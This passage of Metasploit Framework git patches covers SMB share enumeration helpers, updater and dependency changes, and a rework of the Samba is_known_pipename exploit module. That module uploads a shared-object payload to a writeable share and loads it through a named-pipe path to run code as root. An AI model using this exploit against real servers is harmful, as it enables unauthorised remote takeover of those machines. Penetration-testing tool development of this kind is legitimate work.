smb_srvsvc_netsharegetinfo(share) + shares = [] + simple.connect("\\\\#{rhost}\\IPC$") + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) + begin + dcerpc_bind(handle) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error(e.message) + return [] + end + + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.wstring(share) + + NDR.long(2) + + response = dcerpc.call(0x10, stubdata) + + if ! response + raise RuntimeError, "Invalid DCERPC response: " + end + + head = response.slice!(0, 40) + if head.length != 40 + raise RuntimeError, "Invalid DCERPC response: not enough data" + end + + share_info = { + share_type: head[12, 4].unpack('V').first, + permissions: head[20, 4].unpack('V').first, + max_users: head[24, 4].unpack('V').first, + } + + idx = 0 + + [:share, :comment, :path, :password].each do |field| + field_info = response[idx, 12].unpack("V*") + break if field_info.length == 0 + idx += 12 + + field_text = response[idx, field_info.first * 2] + share_info[ field ] = field_text.gsub("\x00", '') + idx += (field_info.first * 2) + idx += (idx % 4) + end + + share_info + end + + # Retreive a list of all shares using any available method + def smb_netshareenumall + begin + return smb_srvsvc_netshareenumall + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error("Warning: NetShareEnumAll failed via Server Service, falling back to LANMAN: #{e}") + fail_with(Failure::NoTarget, "No matching target") + return smb_lanman_netshareenumall + end + end + + # Retrieve a list of shares via the NetShareEnumAll function in the Server Service + def smb_srvsvc_netshareenumall + shares = [] + simple.connect("\\\\#{rhost}\\IPC$") + handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) + begin + dcerpc_bind(handle) + rescue Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error(e.message) + return [] + end + + stubdata = + NDR.uwstring("\\\\#{rhost}") + + NDR.long(1) #level + + ref_id = stubdata[0,4].unpack("V")[0] + ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") + + stubdata << ctr + stubdata << NDR.align(ctr) + stubdata << ["FFFFFFFF"].pack("H*") + stubdata << [ref_id + 8, 0].pack("VV") + response = dcerpc.call(0x0f, stubdata) + res = response.dup + win_error = res.slice!(-4, 4).unpack("V")[0] + + if win_error != 0 + raise RuntimeError, "Invalid DCERPC response: win_error = #{win_error}" + end + + # Remove unused data + res.slice!(0,12) # level, CTR header, Reference ID of CTR + share_count = res.slice!(0, 4).unpack("V")[0] + res.slice!(0,4) # Reference ID of CTR1 + share_max_count = res.slice!(0, 4).unpack("V")[0] + + if share_max_count != share_count + raise RuntimeError, "Invalid DCERPC response: count != count max (#{share_count}/#{share_max_count})" + end + + # RerenceID / Type / ReferenceID of Comment + types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} + + share_count.times do |t| + length, offset, max_length = res.slice!(0, 12).unpack("VVV") + if offset != 0 + raise RuntimeError, "Invalid DCERPC response: offset != 0 (#{offset})" + end + + if length != max_length + raise RuntimeError, "Invalid DCERPC response: length !=max_length (#{length}/#{max_length})" + end + name = res.slice!(0, 2 * length).gsub('\x00','') + res.slice!(0,2) if length % 2 == 1 # pad + + comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") + + if comment_offset != 0 + raise RuntimeError, "Invalid DCERPC response: comment_offset != 0 (#{comment_offset})" + end + + if comment_length != comment_max_length + raise RuntimeError, "Invalid DCERPC response: comment_length != comment_max_length (#{comment_length}/#{comment_max_length})" + end + + comment = res.slice!(0, 2 * comment_length) + + res.slice!(0,2) if comment_length % 2 == 1 # pad + + name = Rex::Text.to_ascii(name).gsub("\x00", "") + s_type = Rex::Text.to_ascii(smb_lookup_share_type(types[t])).gsub("\x00", "") + comment = Rex::Text.to_ascii(comment).gsub("\x00", "") + + shares << [ name, s_type, comment ] + end + + shares + end + + # Retrieve a list of shares via the NetShareEnumAll function in the LANMAN service + # This method can only return shares with names 12 bytes or less + def smb_lanman_netshareenumall + shares = [] + begin + res = self.simple.client.trans( + "\\PIPE\\LANMAN", + ( + [0x00].pack('v') + + "WrLeh\x00" + + "B13BWz\x00" + + [0x01, 65406].pack("vv") + )) + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e + vprint_error("Could not enumerate shares via LANMAN") + return [] + end + if res.nil? + vprint_error("Could not enumerate shares via LANMAN") + return [] + end + + lerror, lconv, lentries, lcount = res['Payload'].to_s[ + res['Payload'].v['ParamOffset'], + res['Payload'].v['ParamCount'] + ].unpack("v4") + + data = res['Payload'].to_s[ + res['Payload'].v['DataOffset'], + res['Payload'].v['DataCount'] + ] + + 0.upto(lentries - 1) do |i| + sname,tmp = data[(i * 20) + 0, 14].split("\x00") + stype = data[(i * 20) + 14, 2].unpack('v')[0] + scoff = data[(i * 20) + 16, 2].unpack('v')[0] + scoff -= lconv if lconv != 0 + scomm,tmp = data[scoff, data.length - scoff].split("\x00") + shares << [ sname, smb_lookup_share_type(stype), scomm] + end + + shares + end + # @return [Rex::Proto::SMB::SimpleClient] attr_accessor :simple end From e8b5cc339778abf84095836fcf74316ffdea1fcb Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 26 May 2017 17:01:44 -0500 Subject: [PATCH 094/686] Avoid a stacktrace by verifying that the share is known --- lib/rex/proto/smb/simpleclient.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb index 0f0be775ca..e89dc2ece1 100644 --- a/lib/rex/proto/smb/simpleclient.rb +++ b/lib/rex/proto/smb/simpleclient.rb @@ -139,8 +139,12 @@ attr_accessor :socket, :client, :direct, :shares, :last_share end def disconnect(share) - ok = self.client.tree_disconnect(self.shares[share]) - self.shares.delete(share) + if self.shares[share] + ok = self.client.tree_disconnect(self.shares[share]) + self.shares.delete(share) + return ok + end + false end From eebfd9b7f2c283d8ddc1feb1cf601be0ef4d6670 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 26 May 2017 17:02:06 -0500 Subject: [PATCH 095/686] Switch to the mixin-provided SMB share enumeration methods --- .../auxiliary/scanner/smb/smb_enumshares.rb | 119 +----------------- 1 file changed, 1 insertion(+), 118 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index e20c6b2d85..26948e85af 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -49,16 +49,11 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('SpiderProfiles', [false, 'Spider only user profiles when share = C$', true]), OptEnum.new('LogSpider', [false, '0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt)', 3, [0,1,2,3]]), OptInt.new('MaxDepth', [true, 'Max number of subdirectories to spider', 999]), - OptBool.new('USE_SRVSVC_ONLY', [true, 'List shares only with SRVSVC', false ]) ]) deregister_options('RPORT', 'RHOST') end - def share_type(val) - [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] - end - def device_type_int_to_text(device_type) types = [ "UNSET", "BEEP", "CDROM", "CDROM FILE SYSTEM", "CONTROLLER", "DATALINK", @@ -172,114 +167,6 @@ class MetasploitModule < Msf::Auxiliary os_info end - def lanman_netshareenum(ip, rport, info) - shares = [] - - begin - res = self.simple.client.trans( - "\\PIPE\\LANMAN", - ( - [0x00].pack('v') + - "WrLeh\x00" + - "B13BWz\x00" + - [0x01, 65406].pack("vv") - )) - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - if e.error_code == 0xC00000BB - vprint_error("Got 0xC00000BB while enumerating shares, switching to srvsvc...") - @srvsvc = true # Make sure the module is aware of this state - return srvsvc_netshareenum(ip) - end - end - - return [] if res.nil? - - lerror, lconv, lentries, lcount = res['Payload'].to_s[ - res['Payload'].v['ParamOffset'], - res['Payload'].v['ParamCount'] - ].unpack("v4") - - data = res['Payload'].to_s[ - res['Payload'].v['DataOffset'], - res['Payload'].v['DataCount'] - ] - - 0.upto(lentries - 1) do |i| - sname,tmp = data[(i * 20) + 0, 14].split("\x00") - stype = data[(i * 20) + 14, 2].unpack('v')[0] - scoff = data[(i * 20) + 16, 2].unpack('v')[0] - scoff -= lconv if lconv != 0 - scomm,tmp = data[scoff, data.length - scoff].split("\x00") - shares << [ sname, share_type(stype), scomm] - end - - shares - end - - def srvsvc_netshareenum(ip) - shares = [] - simple.connect("\\\\#{ip}\\IPC$") - handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"]) - begin - dcerpc_bind(handle) - rescue Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error(e.message) - return [] - end - - stubdata = - NDR.uwstring("\\\\#{ip}") + - NDR.long(1) #level - - ref_id = stubdata[0,4].unpack("V")[0] - ctr = [1, ref_id + 4 , 0, 0].pack("VVVV") - - stubdata << ctr - stubdata << NDR.align(ctr) - stubdata << ["FFFFFFFF"].pack("H*") - stubdata << [ref_id + 8, 0].pack("VV") - response = dcerpc.call(0x0f, stubdata) - res = response.dup - win_error = res.slice!(-4, 4).unpack("V")[0] - if win_error != 0 - raise "DCE/RPC error : Win_error = #{win_error + 0}" - end - # remove some uneeded data - res.slice!(0,12) # level, CTR header, Reference ID of CTR - share_count = res.slice!(0, 4).unpack("V")[0] - res.slice!(0,4) # Reference ID of CTR1 - share_max_count = res.slice!(0, 4).unpack("V")[0] - - raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count - - # RerenceID / Type / ReferenceID of Comment - types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} - - share_count.times do |t| - length, offset, max_length = res.slice!(0, 12).unpack("VVV") - raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0 - raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length - name = res.slice!(0, 2 * length).gsub('\x00','') - res.slice!(0,2) if length % 2 == 1 # pad - - comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV") - raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0 - if comment_length != comment_max_length - raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})" - end - comment = res.slice!(0, 2 * comment_length).gsub('\x00','') - res.slice!(0,2) if comment_length % 2 == 1 # pad - - name = Rex::Text.to_ascii(name) - s_type = Rex::Text.to_ascii(share_type(types[t])) - comment = Rex::Text.to_ascii(comment) - - shares << [ name, s_type, comment ] - end - - shares - end - def get_user_dirs(ip, share, base, sub_dirs) dirs = [] usernames = [] @@ -445,11 +332,7 @@ class MetasploitModule < Msf::Auxiliary begin connect smb_login - if @srvsvc - shares = srvsvc_netshareenum(ip) - else - shares = lanman_netshareenum(ip, rport, info) - end + shares = smb_netshareenumall os_info = get_os_info(ip, rport) print_status(os_info) if os_info From 123a03fd218367dbeb2dfcfc8a978cc9ad080723 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 26 May 2017 17:02:18 -0500 Subject: [PATCH 096/686] Detect server-side path, work on Samba 3.x and 4.x --- .../exploits/linux/samba/is_known_pipename.rb | 153 ++++-------------- 1 file changed, 28 insertions(+), 125 deletions(-) diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 4a56f509b8..56365bfc27 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -22,10 +22,9 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Author' => [ - 'steelo ', # Vulnerability Discovery + 'steelo ', # Vulnerability Discovery & Python Exploit 'hdm', # Metasploit Module 'Brendan Coles ', # Check logic - 'Tavis Ormandy ', # PID hunting technique ], 'License' => MSF_LICENSE, 'References' => @@ -52,6 +51,11 @@ class MetasploitModule < Msf::Exploit::Remote # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], # [ 'Linux MIPS', { 'Arch' => MIPS } ], ], + 'DefaultOptions' => + { + 'DCERPC::fake_bind_multi' => false, + 'SHELL' => '/bin/sh', + }, 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', 'DefaultTarget' => 1)) @@ -69,29 +73,6 @@ class MetasploitModule < Msf::Exploit::Remote ]) end - - def generate_common_locations - candidates = [] - if datastore['SMB_SHARE_BASE'].to_s.length > 0 - candidates << datastore['SMB_SHARE_BASE'] - end - - %W{ /volume1 /volume2 /volume3 /volume4 - /shared /mnt /mnt/usb /media /mnt/media - /var/samba /tmp /home /home/shared - /tank - }.each do |base_name| - candidates << base_name - candidates << [base_name, @share] - candidates << [base_name, @share.downcase] - candidates << [base_name, @share.upcase] - candidates << [base_name, @share.capitalize] - candidates << [base_name, @share.gsub(" ", "_")] - end - - candidates.uniq - end - def enumerate_directories(share) begin self.simple.connect("\\\\#{rhost}\\#{share}") @@ -110,15 +91,13 @@ class MetasploitModule < Msf::Exploit::Remote return nil ensure - if self.simple.shares["\\\\#{rhost}\\#{share}"] - self.simple.disconnect("\\\\#{rhost}\\#{share}") - end + simple.disconnect("\\\\#{rhost}\\#{share}") end end def verify_writeable_directory(share, directory="") begin - self.simple.connect("\\\\#{rhost}\\#{share}") + simple.connect("\\\\#{rhost}\\#{share}") random_filename = Rex::Text.rand_text_alpha(5)+".txt" filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" @@ -135,56 +114,13 @@ class MetasploitModule < Msf::Exploit::Remote return false ensure - if self.simple.shares["\\\\#{rhost}\\#{share}"] - self.simple.disconnect("\\\\#{rhost}\\#{share}") - end + simple.disconnect("\\\\#{rhost}\\#{share}") end end - def share_type(val) - [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] - end - - def enumerate_shares_lanman - shares = [] - begin - res = self.simple.client.trans( - "\\PIPE\\LANMAN", - ( - [0x00].pack('v') + - "WrLeh\x00" + - "B13BWz\x00" + - [0x01, 65406].pack("vv") - )) - rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e - vprint_error("Could not enumerate shares via LANMAN") - return [] - end - if res.nil? - vprint_error("Could not enumerate shares via LANMAN") - return [] - end - - lerror, lconv, lentries, lcount = res['Payload'].to_s[ - res['Payload'].v['ParamOffset'], - res['Payload'].v['ParamCount'] - ].unpack("v4") - - data = res['Payload'].to_s[ - res['Payload'].v['DataOffset'], - res['Payload'].v['DataCount'] - ] - - 0.upto(lentries - 1) do |i| - sname,tmp = data[(i * 20) + 0, 14].split("\x00") - stype = data[(i * 20) + 14, 2].unpack('v')[0] - scoff = data[(i * 20) + 16, 2].unpack('v')[0] - scoff -= lconv if lconv != 0 - scomm,tmp = data[scoff, data.length - scoff].split("\x00") - shares << [ sname, share_type(stype), scomm] - end - - shares + def find_share_path + share_info = smb_netsharegetinfo(@share) + share_info[:path].gsub("\\", "/").sub(/^.*:/, '') end def probe_module_path(path, simple_client=self.simple) @@ -213,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote def find_writeable_share_path @path = nil - share_info = enumerate_shares_lanman + share_info = smb_netshareenumall if datastore['SMB_SHARE_NAME'].to_s.length > 0 share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] end @@ -243,6 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote random_filename = Rex::Text.rand_text_alpha(8)+".so" filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" + wfd = simple.open(filename, 'rwct') wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} @@ -250,68 +187,34 @@ class MetasploitModule < Msf::Exploit::Remote wfd.close @payload_name = random_filename - return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("Write #{@share}#{filename}: #{e}") return false ensure - if self.simple.shares["\\\\#{rhost}\\#{@share}"] - self.simple.disconnect("\\\\#{rhost}\\#{@share}") - end + simple.disconnect("\\\\#{rhost}\\#{@share}") end + + print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}") + return true end def find_payload + # Retrieve the server-side path of the share like a boss + print_status("Retrieving the remote path of the share '#{@share}'") + share_path = find_share_path - # Reconnect to IPC$ + target = [share_path, @path, @payload_name].join("/").gsub(/\/+/, '/') + + print_status("Loading the payload from server-side path #{target}...") simple.connect("\\\\#{rhost}\\IPC$") - # Look for common paths first, since they can be a lot quicker than hunting PIDs - print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}") - generate_common_locations.each do |location| - target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') - print_status("Trying location #{target}...") - probe_module_path(target) - end - - # Exit early if we already have a session - return if session_created? - - return unless datastore['BruteforcePID'] - - # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d - # to non-root, but their /proc/pid directories are still owned by root. Trying to - # read the /proc/other-pid/cwd/target.so results in permission denied. There is a - # good chance that this still works on some embedded systems and odd-ball Linux. - - # Use the PID hunting strategy devised by Tavis Ormandy - print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)") - - # Configure the main connection to have a working directory of the file share - simple.connect("\\\\#{rhost}\\#{@share}") - - # Use a second connection to brute force the PID of the first connection - probe_conn = connect(false) - smb_login(probe_conn) - probe_conn.connect("\\\\#{rhost}\\#{@share}") - probe_conn.connect("\\\\#{rhost}\\IPC$") - - # Run from 2 to MAX_PID (ushort) trying to read the other process CWD - 2.upto(32768) do |pid| - - # Look for the PID associated with our main SMB connection - target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/') - vprint_status("Trying PID with target path #{target}...") - probe_module_path(target, probe_conn) - - # Keep our main connection alive - if pid % 1000 == 0 - self.simple.client.find_first("\\*") - end - end + # The first method works against Samba 3.x + probe_module_path("\\\\PIPE\\" + target) + # The second method works against Samba 4.x + probe_module_path(target) end def check From 53cbbbacd8cb8f3e4bcd8af052319c310dd969a4 Mon Sep 17 00:00:00 2001 From: TheNaterz Date: Fri, 26 May 2017 17:28:11 -0600 Subject: [PATCH 097/686] getsystem update session info --- lib/rex/post/meterpreter/extensions/priv/priv.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index 96a2e4fc6f..89beacd050 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -68,6 +68,7 @@ class Priv < Extension if( response.result == 0 and technique != nil ) client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" ) + client.update_session_info client.sys.config.getprivs if client.framework.db and client.framework.db.active client.framework.db.report_note( From 78d649232bf6c54414013d3fde9fc413e31e8e99 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 26 May 2017 21:21:05 -0500 Subject: [PATCH 098/686] Remove obsolete module options --- modules/exploits/linux/samba/is_known_pipename.rb | 6 ------ 1 file changed, 6 deletions(-) diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 56365bfc27..2b6915cdb3 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -63,14 +63,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), - OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), ]) - - register_advanced_options( - [ - OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]), - ]) end def enumerate_directories(share) From c58d8afa2f6bfaeb9176e519ab87aa8664c6a496 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 10:02:51 -0500 Subject: [PATCH 099/686] redirect msfupdate users on Kali --- msfupdate | 27 ++++++--------------------- 1 file changed, 6 insertions(+), 21 deletions(-) diff --git a/msfupdate b/msfupdate index 7115d4970f..bafdc40b49 100755 --- a/msfupdate +++ b/msfupdate @@ -13,6 +13,8 @@ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end +require 'backports' + class Msfupdate attr_reader :stdin attr_reader :stdout @@ -132,12 +134,12 @@ class Msfupdate end Dir.chdir(@msfbase_dir) do - if git? - update_git! + if apt? + raise "msfupdate is not supported when Metasploit is part of the operating system. Please use 'apt update; apt install metasploit-framework'" elsif binary_install? update_binary_install! - elsif apt? - update_apt! + elsif git? + update_git! else raise "Cannot determine checkout type: `#{@msfbase_dir}'" end @@ -267,23 +269,6 @@ class Msfupdate end end - def update_apt! - # For more information, see here: - # https://community.rapid7.com/community/metasploit/blog/2013/01/17/metasploit-updates-and-msfupdate - stdout.puts "[*] Checking for updates via the APT repository" - stdout.puts "[*] Note: expect weekly(ish) updates using this method" - system("apt-get", "-qq", "update") - - framework_version = apt_upgrade_available('metasploit-framework') - - if framework_version.blank? - stdout.puts "[*] No updates available" - else - stdout.puts "[*] Updating to version #{framework_version}" - system("apt-get", "install", "--assume-yes", "metasploit-framework") - end - end - # Adding an upstream enables msfupdate to pull updates from # Rapid7's metasploit-framework repo instead of the repo # the user originally cloned or forked. From ab6b5f381d5ef71e75697b4b5044d3f52d8d797b Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 10:04:35 -0500 Subject: [PATCH 100/686] msfupdate is no longer a distributed binary, it's a dev tool --- metasploit-framework.gemspec | 1 - msfupdate | 3 ++- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 0e57c6cc1e..e4e7239495 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -34,7 +34,6 @@ Gem::Specification.new do |spec| 'msfd', 'msfrpc', 'msfrpcd', - 'msfupdate', 'msfvenom' ] end diff --git a/msfupdate b/msfupdate index bafdc40b49..913d09ccba 100755 --- a/msfupdate +++ b/msfupdate @@ -135,7 +135,8 @@ class Msfupdate Dir.chdir(@msfbase_dir) do if apt? - raise "msfupdate is not supported when Metasploit is part of the operating system. Please use 'apt update; apt install metasploit-framework'" + stderr.puts "msfupdate is not supported on Kali Linux, since it is a normal OS package." + stderr.puts "Please use 'apt update; apt install metasploit-framework' instead." elsif binary_install? update_binary_install! elsif git? From 0f832fd4d1d3f3cdbdcc6bedae99af42ce5cb873 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 10:07:49 -0500 Subject: [PATCH 101/686] skip generating gem file contents if this is not a git checkout --- metasploit-framework.gemspec | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index e4e7239495..6595d9497d 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -24,9 +24,11 @@ Gem::Specification.new do |spec| spec.homepage = 'https://www.metasploit.com' spec.license = 'BSD-3-clause' - spec.files = `git ls-files`.split($/).reject { |file| - file =~ /^documentation|^data\/gui|^external/ - } + if File.directory?(File.join(__FILE__, ".git")) + spec.files = `git ls-files`.split($/).reject { |file| + file =~ /^documentation|^data\/gui|^external/ + } + end spec.bindir = '.' if ENV['CREATE_BINSTUBS'] spec.executables = [ From c73cd8248eacf8e13d53a455e4a7d57b08bfc41e Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 10:10:20 -0500 Subject: [PATCH 102/686] whine more uniformly --- msfupdate | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/msfupdate b/msfupdate index 913d09ccba..c10680cdd6 100755 --- a/msfupdate +++ b/msfupdate @@ -86,7 +86,7 @@ class Msfupdate def validate_args valid = true - if binary_install? || apt? + if binary_install? if @git_branch stderr.puts "[-] ERROR: git-branch is not supported on this installation" valid = false @@ -96,7 +96,7 @@ class Msfupdate valid = false end end - if apt? || git? + if git? if @offline_file stderr.puts "[-] ERROR: offline-file option is not supported on this installation" valid = false @@ -135,8 +135,8 @@ class Msfupdate Dir.chdir(@msfbase_dir) do if apt? - stderr.puts "msfupdate is not supported on Kali Linux, since it is a normal OS package." - stderr.puts "Please use 'apt update; apt install metasploit-framework' instead." + stderr.puts "[-] ERROR: msfupdate is not supported on Kali Linux." + stderr.puts "[-] Please run 'apt update; apt install metasploit-framework' instead." elsif binary_install? update_binary_install! elsif git? From 1a8f84083cc96df6fee70c4e1bc06c2ac9a04464 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 10:35:49 -0500 Subject: [PATCH 103/686] data/gui has not existed in a long time --- metasploit-framework.gemspec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 6595d9497d..11fcc3097a 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -26,7 +26,7 @@ Gem::Specification.new do |spec| if File.directory?(File.join(__FILE__, ".git")) spec.files = `git ls-files`.split($/).reject { |file| - file =~ /^documentation|^data\/gui|^external/ + file =~ /^documentation|^external/ } end spec.bindir = '.' From ce9cfa572774c568153e096348142b415996eef8 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 23:00:21 -0500 Subject: [PATCH 104/686] bit-struct updated, no need for my branch anymore --- Gemfile | 1 - Gemfile.lock | 9 +-------- 2 files changed, 1 insertion(+), 9 deletions(-) diff --git a/Gemfile b/Gemfile index 2f25738a86..f182f8d392 100755 --- a/Gemfile +++ b/Gemfile @@ -3,7 +3,6 @@ source 'https://rubygems.org' # spec.add_runtime_dependency '', [] gemspec name: 'metasploit-framework' -gem 'bit-struct', git: 'https://github.com/busterb/bit-struct', branch: 'ruby-2.4' gem 'method_source', git: 'https://github.com/banister/method_source', branch: 'master' # separate from test as simplecov is not run on travis-ci diff --git a/Gemfile.lock b/Gemfile.lock index efd65ba20f..a22a16dcff 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -5,13 +5,6 @@ GIT specs: method_source (0.8.1) -GIT - remote: https://github.com/busterb/bit-struct - revision: 707133ae6af5420be6fbe29be6baa5fbc929da2e - branch: ruby-2.4 - specs: - bit-struct (0.15.0) - GIT remote: https://github.com/pry/pry revision: f19d3e2ae86a677e1e926016fa1a5763675e3659 @@ -130,6 +123,7 @@ GEM backports (3.8.0) bcrypt (3.1.11) bindata (2.4.0) + bit-struct (0.16) builder (3.2.3) capybara (2.14.0) addressable @@ -386,7 +380,6 @@ PLATFORMS DEPENDENCIES aruba - bit-struct! cucumber-rails factory_girl_rails fivemat From 63ae70f061763440fc86bd89f1ed6b5793faf0be Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 23:03:44 -0500 Subject: [PATCH 105/686] remove pry/method_source git binding, this is not a vital update --- Gemfile | 4 +--- Gemfile.lock | 25 +++++++------------------ 2 files changed, 8 insertions(+), 21 deletions(-) diff --git a/Gemfile b/Gemfile index f182f8d392..f98a0f6091 100755 --- a/Gemfile +++ b/Gemfile @@ -3,8 +3,6 @@ source 'https://rubygems.org' # spec.add_runtime_dependency '', [] gemspec name: 'metasploit-framework' -gem 'method_source', git: 'https://github.com/banister/method_source', branch: 'master' - # separate from test as simplecov is not run on travis-ci group :coverage do # code coverage for tests @@ -17,7 +15,7 @@ group :development do # generating documentation gem 'yard' # for development and testing purposes - gem 'pry', git: 'https://github.com/pry/pry', branch: 'master' + gem 'pry' # module documentation gem 'octokit' # metasploit-aggregator as a framework only option for now diff --git a/Gemfile.lock b/Gemfile.lock index a22a16dcff..e81beda160 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,19 +1,3 @@ -GIT - remote: https://github.com/banister/method_source - revision: 0cc6cc8e15d08880585e8cb0c54e13c3cf937c54 - branch: master - specs: - method_source (0.8.1) - -GIT - remote: https://github.com/pry/pry - revision: f19d3e2ae86a677e1e926016fa1a5763675e3659 - branch: master - specs: - pry (0.10.4) - coderay (~> 1.1.0) - method_source (~> 0.8.1) - PATH remote: . specs: @@ -223,6 +207,7 @@ GEM railties (~> 4.2.6) recog (~> 2.0) metasploit_payloads-mettle (0.1.9) + method_source (0.8.2) mime-types (3.1) mime-types-data (~> 3.2015) mime-types-data (3.2016.0521) @@ -253,6 +238,10 @@ GEM activerecord (>= 4.0.0) arel (>= 4.0.1) pg_array_parser (~> 0.0.9) + pry (0.10.4) + coderay (~> 1.1.0) + method_source (~> 0.8.1) + slop (~> 3.4) public_suffix (2.0.5) rack (1.6.8) rack-test (0.6.3) @@ -360,6 +349,7 @@ GEM json (>= 1.8, < 3) simplecov-html (~> 0.10.0) simplecov-html (0.10.1) + slop (3.6.0) sqlite3 (1.3.13) sshkey (1.9.0) thor (0.19.4) @@ -385,9 +375,8 @@ DEPENDENCIES fivemat metasploit-aggregator metasploit-framework! - method_source! octokit - pry! + pry rake redcarpet rspec-rails From dbaa4000d72a4dea44c3b702f362cf326143916e Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 26 May 2017 23:08:13 -0500 Subject: [PATCH 106/686] git is no longer needed to build an image --- docker/Dockerfile | 2 -- 1 file changed, 2 deletions(-) diff --git a/docker/Dockerfile b/docker/Dockerfile index 